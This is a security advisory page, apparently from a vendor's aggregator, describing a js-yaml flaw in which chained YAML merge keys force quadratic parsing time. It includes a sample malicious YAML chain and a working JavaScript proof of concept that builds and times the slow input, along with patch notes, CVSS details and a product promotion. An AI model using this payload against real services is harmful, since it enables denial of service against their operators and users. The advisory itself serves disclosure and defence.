🛡️ CVE-2026-59868 — js-yaml
Description
js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml
Impact
This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default
When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
```yaml
a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN
```
For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.
PoC
From N = 4000 delay become > 1s (doc size < 100K)
```js
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = Number(process.argv[2] || 4000)
function makeMergeChain (count) {
const lines = ['a0: &a0 { k0: 0 }']
for (let i = 1; i < count; i++) {
lines.push(a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} })
}
lines.push(b: *a${count - 1})
return ${lines.join('\n')}\n
}
const source = makeMergeChain(n)
console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(N: ${n})
console.log(YAML size: ${Buffer.byteLength(source)} bytes)
const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started
console.log(parse time: ${elapsed.toFixed(1)} ms)
console.log(top-level keys: ${Object.keys(result).length})
console.log(b keys: ${Object.keys(result.b).length})
```
Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability low.
Weakness class
CVE-2026-59868 is classified as CWE-400: Uncontrolled Resource Consumption. A request can consume memory, CPU or storage without limit, exhausting capacity for everyone else.
Affected software
CVE-2026-59868 is recorded against 1 package.
- js-yaml
Timeline and source
Published on 20 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| js-yaml | — | — |
References
Similar Threats
- High GHSA-5p4m-2wfm-xmqj
- Unknown CLSA-2026-1773965915
- Unknown CLSA-2026-1774570935
- Unknown CLSA-2026-1778805968
- Unknown CLSA-2026-1781484837
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Exploit Protection
Are you running js-yaml?
CVE-2026-59868 carries CVSS 5.3 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-59868 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.